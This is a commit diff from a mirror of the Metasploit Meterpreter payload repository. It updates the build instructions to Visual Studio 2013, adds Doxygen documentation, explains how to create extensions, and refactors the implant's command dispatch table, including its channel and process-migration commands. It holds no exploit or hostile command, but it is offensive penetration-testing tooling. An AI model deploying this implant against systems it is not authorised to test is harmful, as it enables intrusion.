mirror of
https://github.com/rapid7/metasploit-payloads
synced 2024-12-08 23:33:07 +01:00
Merge branch 'master' into webcam_crash_fix
This commit is contained in:
commit
e7f5764d14
3
c/meterpreter/.gitignore
vendored
3
c/meterpreter/.gitignore
vendored
@ -43,3 +43,6 @@ source/jpeg-8/Backup/*
|
||||
|
||||
# ignore posix temp stuff
|
||||
posix-meterp-build-tmp/*
|
||||
|
||||
# Doxygen output
|
||||
docs/*
|
||||
|
@ -5,5 +5,6 @@ notifications:
|
||||
irc: "irc.freenode.org#msfnotify"
|
||||
|
||||
before_install:
|
||||
- sudo apt-get update
|
||||
- sudo apt-get install jam
|
||||
- sudo apt-get install gcc-multilib
|
||||
|
@ -1,45 +1,33 @@
|
||||
Current `master` branch: ![Meterpreter Build Status](http://r7jenkins.cloudapp.net/Meterpreter "Meterpreter Build Status")
|
||||
Current `master` branch: ![Meterpreter Build Status][build_icon]
|
||||
|
||||
meterpreter >
|
||||
=============
|
||||
|
||||
This is the new repository for the Meterpreter source, which was originally in the
|
||||
[Metasploit Framework](https://github.com/rapid7/meterpreter) source.
|
||||
This is the new repository for the Meterpreter [source], which was originally in the
|
||||
[Metasploit Framework][framework] source.
|
||||
|
||||
Building - Windows
|
||||
==================
|
||||
|
||||
Meterpreter is now being built with [Visual Studio 2012 Express for Desktop][vs_express] or any
|
||||
paid version of [Visual Studio 2012][vs_paid]. Earlier toolsets on Windows are no longer
|
||||
supported.
|
||||
As of commit a2888b1b4862819c9aae81bf46d8c92d8164c598, Meterpreter is built
|
||||
with [Visual Studio 2013 Express for Desktop][vs_express] or any paid version
|
||||
of [Visual Studio 2013][vs_paid]. Earlier toolsets on Windows are no longer
|
||||
supported -- this includes Visual Studio 2012. Make sure that the version that
|
||||
you download is `Visual Studio Express 2013 for Windows Desktop`. If you are
|
||||
using a dedicated build machine, your best bet is to uninstall Visual Studio
|
||||
2012 if your only project is Meterpreter.
|
||||
|
||||
Visual Studio 2012 requires .NET 4.5 in order to run, and as a result isn't compatible
|
||||
Visual Studio 2013 requires .NET 4.5.1 in order to run, and as a result isn't compatible
|
||||
with Windows XP due to the fact that .NET 4.5 will not run on Windows XP. However, this
|
||||
does not mean that Metepreter itself will not run on Windows XP, it just means that it's
|
||||
not possible to _build_ it on Windows XP.
|
||||
|
||||
Visual Studio 2012 Express
|
||||
--------------------------
|
||||
|
||||
In order to build successfully with this version of Visual Studio you must first make sure
|
||||
that the most recent updates have been applied. At the time of writing, the latest known
|
||||
update is **Update 3**. Without this update you won't be able to build.
|
||||
|
||||
To make sure you have the appropriate updates applied:
|
||||
|
||||
1. Open Visual Studio 2012.
|
||||
1. Open the `Tools` menu and select `Extensions and Updates`
|
||||
1. Select the `Updates` item on the left side of the dialog box.
|
||||
1. Follow the prompts to install any updates that are found.
|
||||
|
||||
With those updates applied you should be ready to build Meterpreeter.
|
||||
|
||||
Running the Build
|
||||
-----------------
|
||||
|
||||
Open up a Visual Studio command prompt by selecting `Developer Command Prompt for VS2012`
|
||||
Open up a Visual Studio command prompt by selecting `Developer Command Prompt for VS2013`
|
||||
from the Start menu. Alternatively you can run `vcvars32.bat` from an existing command
|
||||
line prompt, just make sure it's the VS2012 one if you have multiple versions of VS
|
||||
line prompt, just make sure it's the VS2013 one if you have multiple versions of VS
|
||||
installed on your machine.
|
||||
|
||||
Once you have your environment variables set up, change to the root folder where the
|
||||
@ -88,7 +76,8 @@ not considered stable. It does stuff, but expect occasional problems.
|
||||
Testing
|
||||
=======
|
||||
|
||||
There is currently no automated testing for meterpreter, but we're working on it.
|
||||
There is currently no automated testing for meterpreter, but we're
|
||||
working on it.
|
||||
|
||||
Once you've made changes and compiled a new .dll or .so, copy the
|
||||
contents of the output/ directory into your Metasploit Framework's
|
||||
@ -96,9 +85,79 @@ contents of the output/ directory into your Metasploit Framework's
|
||||
metasploit-framework and meterpreter live in the same place by running
|
||||
`make install`
|
||||
|
||||
If you made any changes to `metsrv.dll` or `msflinker_linux_x86.bin`, ensure
|
||||
that all extensions still load and function properly.
|
||||
If you made any changes to `metsrv.dll` or `msflinker_linux_x86.bin`,
|
||||
ensure that all extensions still load and function properly.
|
||||
|
||||
[vs_express]: http://www.microsoft.com/visualstudio/eng/downloads#d-2012-express
|
||||
[vs_paid]: http://www.microsoft.com/visualstudio/eng/downloads#d-2012-editions
|
||||
Creating Extensions
|
||||
===================
|
||||
|
||||
Creating extensions isn't complicated, but it's not simple either. In an
|
||||
attempt make the set up a little easier on the Meterpreter side, a new
|
||||
project called `ext_server_bare` has been created which is just the
|
||||
shell of a project which can be used as the starting point for your
|
||||
code. To use this as a template to create your own project, you can
|
||||
follow these steps.
|
||||
|
||||
Note: All paths listed here are relative to the root `meterpreter`
|
||||
folder where this document resides.
|
||||
|
||||
Pick a name for your extension, make sure it's something meaningful and
|
||||
short. For the sake of example, we'll create a new extension called
|
||||
`splat`. Once you have a cool an meaningful name, you can get your
|
||||
project going by doing the following:
|
||||
|
||||
1. Create a new folder called `workspace/ext_server_splat`.
|
||||
1. Copy `workspace/ext_server_bare/ext_server_bare.vcxproj` to
|
||||
`workspace/ext_server_bare/ext_server_splat.vcxproj`
|
||||
1. Open `workspace/ext_server_bare/ext_server_splat.vcxproj` with a text
|
||||
editor and..
|
||||
* Replace all instances of `BARE` with `SPLAT`.
|
||||
* Replace all instances of `bare` with `splat`.
|
||||
* Search for the `ProjectGuid` property in the document. It looks
|
||||
like `<ProjectGuid>{D3F39324-040D-4B1F-ADA9-762F16A120E6}</ProjectGuid>`.
|
||||
When found, generate a new GUID for your project either using
|
||||
`guidgen.exe` or an online tool, and replace this GUID with your
|
||||
new GUID. Make sure you keep the curly braces.
|
||||
1. Create a new folder called `source/extensions/splat`.
|
||||
1. Copy `source/extensions/bare/bare.c` to `source/extensions/splat/splat.c`
|
||||
1. Copy `source/extensions/bare/bare.h` to `source/extensions/splat/splat.h`
|
||||
1. Open `workspace/meterpreter.sln` in Visual Studio 2013.
|
||||
1. Right-click on the solution item called `Solution 'meterpreter'` and
|
||||
select `Add`, then `Existing Project...`.
|
||||
1. Browse to your new project's location at `workspace/ext_server_splat`
|
||||
and select `ext_server_splat.vcxproj`.
|
||||
1. The solution should automagically pick up your project configurations
|
||||
and wire them in where appropriate.
|
||||
1. Right-click, again, on the solution item and select `Configuration Manager`.
|
||||
1. In the resulting window, iterate through all combinations
|
||||
`Active Solution Configuration` and `Active Solution Platform` and
|
||||
make sure that:
|
||||
* `Configuration` matches with all the other extensions in each case.
|
||||
* `Platform` matches with all the other extensions in each case.
|
||||
* `Build` is checked in each case.
|
||||
* `Deploy` is **NOT** checked in each case.
|
||||
1. Modify the contents of `splat.c` and `splat.h` so that the file
|
||||
header commands are up to date, and that all references to `bare`
|
||||
have been removed.
|
||||
|
||||
At this point you're ready to start adding your extension's functionality.
|
||||
|
||||
Things to Remember
|
||||
------------------
|
||||
|
||||
* Your extension is set up to build both 32 and 64 bit versions. Make
|
||||
sure you're mindful of this when you are writing your code. All of the
|
||||
usual pitfalls apply when dealing with things like pointer sizes,
|
||||
value trunction, etc.
|
||||
* Make sure your extension builds correctly from the command line using
|
||||
`make`.
|
||||
* The outputs of your builds, when successful, are copied to
|
||||
`output/x64` and `output/x86`.
|
||||
|
||||
Good luck!
|
||||
|
||||
[vs_express]: http://www.microsoft.com/visualstudio/eng/downloads#d-2013-express
|
||||
[vs_paid]: http://www.microsoft.com/visualstudio/eng/downloads#d-2013-editions
|
||||
[source]: https://github.com/rapid7/meterpreter
|
||||
[framework]: https://github.com/rapid7/metasploit-framework
|
||||
[build_icon]: https://ci.metasploit.com/buildStatus/icon?job=MeterpreterWin
|
||||
|
BIN
c/meterpreter/content/metasploit-icon.png
Normal file
BIN
c/meterpreter/content/metasploit-icon.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 4.3 KiB |
2299
c/meterpreter/doxygen.cnf
Normal file
2299
c/meterpreter/doxygen.cnf
Normal file
File diff suppressed because it is too large
Load Diff
@ -1,6 +1,8 @@
|
||||
@ECHO OFF
|
||||
IF "%1"=="clean" GOTO CLEAN
|
||||
IF "%1"=="docs" GOTO DOCS
|
||||
IF "%VCINSTALLDIR%" == "" GOTO NEED_VS
|
||||
|
||||
SET PREF=
|
||||
IF EXIST "..\pssdk\" SET PREF=r7_
|
||||
|
||||
@ -37,8 +39,12 @@ IF EXIST "output\x64\" (
|
||||
)
|
||||
GOTO :END
|
||||
|
||||
:DOCS
|
||||
tools\doxygen\doxygen.exe doxygen.cnf
|
||||
GOTO :END
|
||||
|
||||
:NEED_VS
|
||||
ECHO "This command must be executed from within a Visual Studio Command prompt."
|
||||
ECHO "This can be found under Microsoft Visual Studio 2012 -> Visual Studio Tools"
|
||||
ECHO "This can be found under Microsoft Visual Studio 2013 -> Visual Studio Tools"
|
||||
|
||||
:END
|
||||
|
@ -1,7 +1,24 @@
|
||||
/*!
|
||||
* @file args.c
|
||||
* @brief Definitions for argument parsing functionality.
|
||||
*/
|
||||
#include "common.h"
|
||||
|
||||
/*
|
||||
* Parse an argument vector by a parameter format specifier
|
||||
/*!
|
||||
* @brief Parse an argument vector by a parameter format specifier
|
||||
* @details Intended to be called repeatedly until all arguments are parsed.
|
||||
* Each call results in a single argument be parsed.
|
||||
* @param argc Number of arguments to in the argument list.
|
||||
* @param argv Array of arguments to parse.
|
||||
* @param params String of supported parameters. eg \c abc:de: Parameters
|
||||
* followed by a colon expect an associated argumetn
|
||||
* @param ctx Pointer to a context used to keep track of parsing.
|
||||
* @return Indication of whether parsing was successful.
|
||||
* @retval ERROR_NOT_FOUND The specified parameter wasn't found in the
|
||||
* argument list.
|
||||
* @retval ERROR_INVALID_PARAMETER The specified parameter was missing an
|
||||
associated argument.
|
||||
* @retval ERROR_SUCCESS The argument was parsed correctly.
|
||||
*/
|
||||
DWORD args_parse(UINT argc, CHAR **argv, PCHAR params,
|
||||
ArgumentContext *ctx)
|
||||
|
@ -1,13 +1,18 @@
|
||||
/*!
|
||||
* @file args.h
|
||||
* @brief Definitions for argument parsing functionality.
|
||||
*/
|
||||
#ifndef _METERPRETER_LIB_ARGS_H
|
||||
#define _METERPRETER_LIB_ARGS_H
|
||||
|
||||
#include "linkage.h"
|
||||
|
||||
typedef struct
|
||||
/*! @brief State container for \c args_parse calls. */
|
||||
typedef struct
|
||||
{
|
||||
DWORD currentIndex;
|
||||
PCHAR argument;
|
||||
CHAR toggle;
|
||||
DWORD currentIndex; ///< The index of the argument being parsed.
|
||||
PCHAR argument; ///< Pointer to the current switch's argument.
|
||||
CHAR toggle; ///< Indicates of this parameter is a toggle parameter.
|
||||
} ArgumentContext;
|
||||
|
||||
LINKAGE DWORD args_parse(UINT argc, CHAR **argv, PCHAR params,
|
||||
|
@ -1,3 +1,7 @@
|
||||
/*!
|
||||
* @file base.c
|
||||
* @brief Definitions that apply to almost any Meterpreter component.
|
||||
*/
|
||||
#include "common.h"
|
||||
|
||||
// Local remote request implementors
|
||||
@ -35,91 +39,62 @@ DWORD remote_response_core_console_write(Remote *remote, Packet *packet)
|
||||
}
|
||||
|
||||
|
||||
|
||||
/*
|
||||
* Base RPC dispatch table
|
||||
/*!
|
||||
* @brief Base RPC dispatch table.
|
||||
*/
|
||||
Command commands[] =
|
||||
{
|
||||
/*
|
||||
* Core commands
|
||||
*/
|
||||
* Core commands
|
||||
*/
|
||||
|
||||
// Console commands
|
||||
{ "core_console_write",
|
||||
{ remote_request_core_console_write, { TLV_META_TYPE_STRING }, 1 | ARGUMENT_FLAG_REPEAT },
|
||||
{ remote_response_core_console_write, { 0 }, 0 },
|
||||
{ remote_response_core_console_write, EMPTY_TLV },
|
||||
},
|
||||
|
||||
// Native Channel commands
|
||||
{ "core_channel_open",
|
||||
{ remote_request_core_channel_open, { 0 }, 0 },
|
||||
{ remote_response_core_channel_open, { 0 }, 0 },
|
||||
},
|
||||
{ "core_channel_write",
|
||||
{ remote_request_core_channel_write, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
{ "core_channel_close",
|
||||
{ remote_request_core_channel_close, { 0 }, 0 },
|
||||
{ remote_response_core_channel_close, { 0 }, 0 },
|
||||
},
|
||||
|
||||
COMMAND_REQ_REP( "core_channel_open", remote_request_core_channel_open, remote_response_core_channel_open ),
|
||||
COMMAND_REQ( "core_channel_write", remote_request_core_channel_write ),
|
||||
COMMAND_REQ_REP( "core_channel_close", remote_request_core_channel_close, remote_response_core_channel_close ),
|
||||
// Buffered/Pool channel commands
|
||||
{ "core_channel_read",
|
||||
{ remote_request_core_channel_read, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
COMMAND_REQ( "core_channel_read", remote_request_core_channel_read ),
|
||||
// Pool channel commands
|
||||
{ "core_channel_seek",
|
||||
{ remote_request_core_channel_seek, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
{ "core_channel_eof",
|
||||
{ remote_request_core_channel_eof, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
{ "core_channel_tell",
|
||||
{ remote_request_core_channel_tell, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
|
||||
COMMAND_REQ( "core_channel_seek", remote_request_core_channel_seek ),
|
||||
COMMAND_REQ( "core_channel_eof", remote_request_core_channel_eof ),
|
||||
COMMAND_REQ( "core_channel_tell", remote_request_core_channel_tell ),
|
||||
// Soon to be deprecated
|
||||
{ "core_channel_interact",
|
||||
{ remote_request_core_channel_interact, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
|
||||
COMMAND_REQ( "core_channel_interact", remote_request_core_channel_interact ),
|
||||
// Crypto
|
||||
{ "core_crypto_negotiate",
|
||||
{ remote_request_core_crypto_negotiate, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
|
||||
COMMAND_REQ( "core_crypto_negotiate", remote_request_core_crypto_negotiate ),
|
||||
// Migration
|
||||
{ "core_migrate",
|
||||
{ remote_request_core_migrate, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
|
||||
COMMAND_REQ( "core_migrate", remote_request_core_migrate ),
|
||||
// Shutdown
|
||||
{ "core_shutdown",
|
||||
{ remote_request_core_shutdown, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
|
||||
COMMAND_REQ( "core_shutdown", remote_request_core_shutdown ),
|
||||
// Terminator
|
||||
{ NULL,
|
||||
{ NULL, { 0 }, 0 },
|
||||
{ NULL, { 0 }, 0 },
|
||||
},
|
||||
COMMAND_TERMINATOR
|
||||
};
|
||||
|
||||
// Dynamically registered command extensions
|
||||
Command *extension_commands = NULL;
|
||||
|
||||
/*
|
||||
* Dynamically register a custom command handler
|
||||
/*!
|
||||
* @brief Register a full list of commands with meterpreter.
|
||||
* @param commands The array of commands that are to be registered for the module/extension.
|
||||
*/
|
||||
void command_register_all(Command commands[])
|
||||
{
|
||||
DWORD index;
|
||||
|
||||
for (index = 0; commands[index].method; index++)
|
||||
command_register(&commands[index]);
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief Dynamically register a custom command handler
|
||||
* @param command Pointer to the command that should be registered.
|
||||
* @return `ERROR_SUCCESS` when command registers successfully, otherwise returns the error.
|
||||
*/
|
||||
DWORD command_register(Command *command)
|
||||
{
|
||||
@ -139,24 +114,38 @@ DWORD command_register(Command *command)
|
||||
dprintf("Fixing next/prev...");
|
||||
newCommand->next = extension_commands;
|
||||
newCommand->prev = NULL;
|
||||
extension_commands = newCommand;
|
||||
extension_commands = newCommand;
|
||||
|
||||
dprintf("Done...");
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
/*
|
||||
* Dynamically deregister a custom command handler
|
||||
/*!
|
||||
* @brief Deregister a full list of commands from meterpreter.
|
||||
* @param commands The array of commands that are to be deregistered from the module/extension.
|
||||
*/
|
||||
void command_deregister_all(Command commands[])
|
||||
{
|
||||
DWORD index;
|
||||
|
||||
for (index = 0; commands[index].method; index++)
|
||||
command_deregister(&commands[index]);
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief Dynamically deregister a custom command handler
|
||||
* @param command Pointer to the command that should be deregistered.
|
||||
* @return `ERROR_SUCCESS` when command deregisters successfully, otherwise returns the error.
|
||||
*/
|
||||
DWORD command_deregister(Command *command)
|
||||
{
|
||||
Command *current, *prev;
|
||||
DWORD res = ERROR_NOT_FOUND;
|
||||
|
||||
|
||||
// Search the extension list for the command
|
||||
for (current = extension_commands, prev = NULL;
|
||||
current;
|
||||
prev = current, current = current->next)
|
||||
current;
|
||||
prev = current, current = current->next)
|
||||
{
|
||||
if (strcmp(command->method, current->method))
|
||||
continue;
|
||||
@ -171,7 +160,7 @@ DWORD command_deregister(Command *command)
|
||||
|
||||
// Deallocate it
|
||||
free(current);
|
||||
|
||||
|
||||
res = ERROR_SUCCESS;
|
||||
|
||||
break;
|
||||
@ -180,13 +169,11 @@ DWORD command_deregister(Command *command)
|
||||
return res;
|
||||
}
|
||||
|
||||
/*
|
||||
* A list of all command threads currenlty executing.
|
||||
*/
|
||||
/*! * @brief A list of all command threads currenlty executing. */
|
||||
LIST * commandThreadList = NULL;
|
||||
|
||||
/*
|
||||
* Block untill all running command threads have finished.
|
||||
/*!
|
||||
* @brief Block untill all running command threads have finished.
|
||||
*/
|
||||
VOID command_join_threads( VOID )
|
||||
{
|
||||
@ -198,27 +185,12 @@ VOID command_join_threads( VOID )
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
* Crude method of throttling the ammount of concurrent command
|
||||
* threads we allow in the system at a given time.
|
||||
*/
|
||||
/*
|
||||
VOID command_throtle( int maxthreads )
|
||||
{
|
||||
while( list_count( commandThreadList ) >= maxthreads )
|
||||
{
|
||||
Sleep( 250 );
|
||||
}
|
||||
}
|
||||
*/
|
||||
|
||||
#ifndef _WIN32
|
||||
/*
|
||||
* Reap child zombie threads on linux 2.4 (before NPTL)
|
||||
* each thread appears as a process and pthread_join don't necessarily reap it
|
||||
* threads are created using the clone syscall, so use special __WCLONE flag in waitpid
|
||||
/*!
|
||||
* @brief Reap child zombie threads on linux 2.4 (before NPTL).
|
||||
* @detail Each thread appears as a process and pthread_join don't necessarily reap it
|
||||
* threads are created using the clone syscall, so use special __WCLONE flag in waitpid.
|
||||
*/
|
||||
|
||||
VOID reap_zombie_thread(void * param)
|
||||
{
|
||||
while(1) {
|
||||
@ -229,8 +201,10 @@ VOID reap_zombie_thread(void * param)
|
||||
}
|
||||
#endif
|
||||
|
||||
/*
|
||||
* Process a single command in a seperate thread of execution.
|
||||
/*!
|
||||
* @brief Process a single command in a seperate thread of execution.
|
||||
* @param thread Pointer to the thread to execute.
|
||||
* @return Result of processing.
|
||||
*/
|
||||
DWORD THREADCALL command_process_thread( THREAD * thread )
|
||||
{
|
||||
@ -243,14 +217,14 @@ DWORD THREADCALL command_process_thread( THREAD * thread )
|
||||
Command * current = NULL;
|
||||
Remote * remote = NULL;
|
||||
Packet * packet = NULL;
|
||||
|
||||
|
||||
if( thread == NULL )
|
||||
return ERROR_INVALID_HANDLE;
|
||||
|
||||
remote = (Remote *)thread->parameter1;
|
||||
if( remote == NULL )
|
||||
return ERROR_INVALID_HANDLE;
|
||||
|
||||
|
||||
packet = (Packet *)thread->parameter2;
|
||||
if( packet == NULL )
|
||||
return ERROR_INVALID_DATA;
|
||||
@ -289,7 +263,7 @@ DWORD THREADCALL command_process_thread( THREAD * thread )
|
||||
}
|
||||
}
|
||||
#endif
|
||||
|
||||
|
||||
// Get the request identifier if the packet has one.
|
||||
result = packet_get_tlv_string( packet, TLV_TYPE_REQUEST_ID, &requestIdTlv );
|
||||
if( result == ERROR_SUCCESS )
|
||||
@ -311,11 +285,11 @@ DWORD THREADCALL command_process_thread( THREAD * thread )
|
||||
|
||||
// Regardless of error code, try to see if someone has overriden a base handler
|
||||
for( current = extension_commands, result = ERROR_NOT_FOUND ;
|
||||
result == ERROR_NOT_FOUND && current && current->method ; current = current->next )
|
||||
result == ERROR_NOT_FOUND && current && current->method ; current = current->next )
|
||||
{
|
||||
if( strcmp( current->method, method ) )
|
||||
continue;
|
||||
|
||||
|
||||
// Call the custom handler
|
||||
result = command_call_dispatch( current, remote, packet );
|
||||
}
|
||||
@ -327,7 +301,7 @@ DWORD THREADCALL command_process_thread( THREAD * thread )
|
||||
|
||||
// If we get here, we're successful.
|
||||
result = ERROR_SUCCESS;
|
||||
|
||||
|
||||
} while( 0 );
|
||||
}
|
||||
__except( EXCEPTION_EXECUTE_HANDLER )
|
||||
@ -449,10 +423,14 @@ DWORD command_process_remote_loop(Remote *remote)
|
||||
}
|
||||
*/
|
||||
|
||||
/*
|
||||
* Call the dispatch routine for a given command
|
||||
/*!
|
||||
* @brief Call the dispatch routine for a given command.
|
||||
* @param command The command to call the dispatch routine on.
|
||||
* @param remote Pointer to the remote connection.
|
||||
* @param packet Pointer to the current packet.
|
||||
* @return Result of the command dispatch handler call.
|
||||
*/
|
||||
DWORD command_call_dispatch(Command *command, Remote *remote, Packet *packet)
|
||||
DWORD command_call_dispatch(Command *command, Remote *remote, Packet *packet)
|
||||
{
|
||||
DWORD res;
|
||||
|
||||
@ -463,26 +441,29 @@ DWORD command_call_dispatch(Command *command, Remote *remote, Packet *packet)
|
||||
|
||||
switch (packet_get_type(packet))
|
||||
{
|
||||
case PACKET_TLV_TYPE_REQUEST:
|
||||
case PACKET_TLV_TYPE_PLAIN_REQUEST:
|
||||
if (command->request.handler)
|
||||
res = command->request.handler(remote, packet);
|
||||
break;
|
||||
case PACKET_TLV_TYPE_RESPONSE:
|
||||
case PACKET_TLV_TYPE_PLAIN_RESPONSE:
|
||||
if (command->response.handler)
|
||||
res = command->response.handler(remote, packet);
|
||||
break;
|
||||
default:
|
||||
res = ERROR_NOT_FOUND;
|
||||
break;
|
||||
case PACKET_TLV_TYPE_REQUEST:
|
||||
case PACKET_TLV_TYPE_PLAIN_REQUEST:
|
||||
if (command->request.handler)
|
||||
res = command->request.handler(remote, packet);
|
||||
break;
|
||||
case PACKET_TLV_TYPE_RESPONSE:
|
||||
case PACKET_TLV_TYPE_PLAIN_RESPONSE:
|
||||
if (command->response.handler)
|
||||
res = command->response.handler(remote, packet);
|
||||
break;
|
||||
default:
|
||||
res = ERROR_NOT_FOUND;
|
||||
break;
|
||||
}
|
||||
|
||||
return res;
|
||||
}
|
||||
|
||||
/*
|
||||
* Validate command arguments
|
||||
/*!
|
||||
* @brief Validate command arguments
|
||||
* @return Indication of whether the commands are valid or not.
|
||||
* @retval ERROR_SUCCESS All arguments are valid.
|
||||
* @retval ERROR_INVALID_PARAMETER An invalid parameter exists.
|
||||
*/
|
||||
DWORD command_validate_arguments(Command *command, Packet *packet)
|
||||
{
|
||||
@ -494,23 +475,22 @@ DWORD command_validate_arguments(Command *command, Packet *packet)
|
||||
|
||||
// Select the dispatcher table
|
||||
if ((type == PACKET_TLV_TYPE_RESPONSE) ||
|
||||
(type == PACKET_TLV_TYPE_PLAIN_RESPONSE))
|
||||
(type == PACKET_TLV_TYPE_PLAIN_RESPONSE))
|
||||
dispatcher = &command->response;
|
||||
else
|
||||
dispatcher = &command->request;
|
||||
|
||||
// Enumerate the arguments, validating the meta types of each
|
||||
for (commandIndex = 0, packetIndex = 0;
|
||||
((packet_enum_tlv(packet, packetIndex, TLV_TYPE_ANY, ¤t)
|
||||
== ERROR_SUCCESS) &&
|
||||
(res == ERROR_SUCCESS));
|
||||
commandIndex++, packetIndex++)
|
||||
((packet_enum_tlv(packet, packetIndex, TLV_TYPE_ANY, ¤t) == ERROR_SUCCESS)
|
||||
&& (res == ERROR_SUCCESS));
|
||||
commandIndex++, packetIndex++)
|
||||
{
|
||||
TlvMetaType tlvMetaType;
|
||||
|
||||
// Check to see if we've reached the end of the command arguments
|
||||
if ((dispatcher->numArgumentTypes) &&
|
||||
(commandIndex == (dispatcher->numArgumentTypes & ARGUMENT_FLAG_MASK)))
|
||||
(commandIndex == (dispatcher->numArgumentTypes & ARGUMENT_FLAG_MASK)))
|
||||
{
|
||||
// If the repeat flag is set, reset the index
|
||||
if (commandIndex & ARGUMENT_FLAG_REPEAT)
|
||||
@ -518,23 +498,23 @@ DWORD command_validate_arguments(Command *command, Packet *packet)
|
||||
else
|
||||
break;
|
||||
}
|
||||
|
||||
|
||||
// Make sure the argument is at least one of the meta types
|
||||
tlvMetaType = packet_get_tlv_meta(packet, ¤t);
|
||||
|
||||
// Validate argument meta types
|
||||
switch (tlvMetaType)
|
||||
{
|
||||
case TLV_META_TYPE_STRING:
|
||||
if (packet_is_tlv_null_terminated(packet, ¤t) != ERROR_SUCCESS)
|
||||
res = ERROR_INVALID_PARAMETER;
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
case TLV_META_TYPE_STRING:
|
||||
if (packet_is_tlv_null_terminated(¤t) != ERROR_SUCCESS)
|
||||
res = ERROR_INVALID_PARAMETER;
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
|
||||
|
||||
if ((res != ERROR_SUCCESS) &&
|
||||
(commandIndex < dispatcher->numArgumentTypes))
|
||||
(commandIndex < dispatcher->numArgumentTypes))
|
||||
break;
|
||||
}
|
||||
|
||||
|
@ -1,45 +1,75 @@
|
||||
/*!
|
||||
* @file base.h
|
||||
* @brief Declarations, macros and types that apply to almost any Meterpreter component.
|
||||
*/
|
||||
#ifndef _METERPRETER_BASE_H
|
||||
#define _METERPRETER_BASE_H
|
||||
|
||||
#include "linkage.h"
|
||||
#include "core.h"
|
||||
|
||||
/*
|
||||
* Command dispatch table types
|
||||
*/
|
||||
typedef DWORD (*DISPATCH_ROUTINE)(Remote *remote, Packet *packet);
|
||||
/*! @brief Function pointer type that defines the interface for a dispatch handler. */
|
||||
typedef DWORD (*DISPATCH_ROUTINE)( Remote *remote, Packet *packet );
|
||||
|
||||
/*! @brief Specifies the maximum number of arguments that are checked/handled
|
||||
* in a request/response packet dispatcher.
|
||||
*/
|
||||
#define MAX_CHECKED_ARGUMENTS 16
|
||||
|
||||
/*! @brief Flag indicating that the command arguments repeat. */
|
||||
#define ARGUMENT_FLAG_REPEAT (1 << 28)
|
||||
/*! @brief Mask indicating the range numbers allowed for command arguments. */
|
||||
#define ARGUMENT_FLAG_MASK 0x0fffffff
|
||||
|
||||
// Blank dispatch handler
|
||||
#define EMPTY_DISPATCH_HANDLER NULL, { 0 }, 0
|
||||
/*! @brief Helper macro that contains the required NULL initialisations for a command handler TLV info. */
|
||||
#define EMPTY_TLV { 0 }, 0
|
||||
/*! @brief Helper macro which defines an empty dispatch handler. */
|
||||
#define EMPTY_DISPATCH_HANDLER NULL, EMPTY_TLV
|
||||
/*! @brief Helper macro that defines terminator for command lists. */
|
||||
#define COMMAND_TERMINATOR { NULL, { EMPTY_DISPATCH_HANDLER }, { EMPTY_DISPATCH_HANDLER } }
|
||||
/*! @brief Helper macro that defines a command instance with a request handler only. */
|
||||
#define COMMAND_REQ(name, reqHandler) { name, { reqHandler, EMPTY_TLV }, { EMPTY_DISPATCH_HANDLER } }
|
||||
/*! @brief Helper macro that defines a command instance with a response handler only. */
|
||||
#define COMMAND_REP(name, repHandler) { name, { EMPTY_DISPATCH_HANDLER }, { repHandler, EMPTY_TLV } }
|
||||
/*! @brief Helper macro that defines a command instance with both a request and response handler. */
|
||||
#define COMMAND_REQ_REP(name, reqHandler, repHandler) { name, { reqHandler, EMPTY_TLV }, { repHandler, EMPTY_TLV } }
|
||||
|
||||
// Place holders
|
||||
/*! @deprecated This entity is not used and may be removed in future. */
|
||||
#define EXPORT_TABLE_BEGIN()
|
||||
/*! @deprecated This entity is not used and may be removed in future. */
|
||||
#define EXPORT_TABLE_END()
|
||||
|
||||
/*!
|
||||
* @brief Defines a command handler for requests and responses.
|
||||
*/
|
||||
typedef struct
|
||||
{
|
||||
/*! @brief Pointer to the routine that will be called to handle the request/response. */
|
||||
DISPATCH_ROUTINE handler;
|
||||
|
||||
/*! @brief Array of types that match the expected arguments for this response/request routine. */
|
||||
TlvMetaType argumentTypes[MAX_CHECKED_ARGUMENTS];
|
||||
/*! @brief The number of entries in the \c argumentTypes array. */
|
||||
DWORD numArgumentTypes;
|
||||
} PacketDispatcher;
|
||||
|
||||
/*!
|
||||
* @brief Container for a command definition.
|
||||
*/
|
||||
typedef struct command
|
||||
{
|
||||
LPCSTR method;
|
||||
PacketDispatcher request;
|
||||
PacketDispatcher response;
|
||||
LPCSTR method; ///< Identifier for the command.
|
||||
PacketDispatcher request; ///< Defines the request handler.
|
||||
PacketDispatcher response; ///< Defines the response handler.
|
||||
|
||||
// Internal -- not stored
|
||||
struct command *next;
|
||||
struct command *prev;
|
||||
struct command *next; ///< Pointer to the next command in the command list.
|
||||
struct command *prev; ///< Pointer to the previous command in the command list.
|
||||
} Command;
|
||||
|
||||
LINKAGE void command_register_all(Command commands[]);
|
||||
LINKAGE void command_deregister_all(Command commands[]);
|
||||
LINKAGE DWORD command_register(Command *command);
|
||||
LINKAGE DWORD command_deregister(Command *command);
|
||||
|
||||
|
@ -1,8 +1,15 @@
|
||||
/*!
|
||||
* @file common.c
|
||||
* @brief Definitions for various common components used across the Meterpreter suite.
|
||||
*/
|
||||
#include "common.h"
|
||||
|
||||
|
||||
#ifdef _WIN32
|
||||
// This function returns a unix timestamp in UTC
|
||||
/*!
|
||||
* @brief Returns a unix timestamp in UTC.
|
||||
* @return Integer value representing the UTC Unix timestamp of the current time.
|
||||
*/
|
||||
int current_unix_timestamp(void) {
|
||||
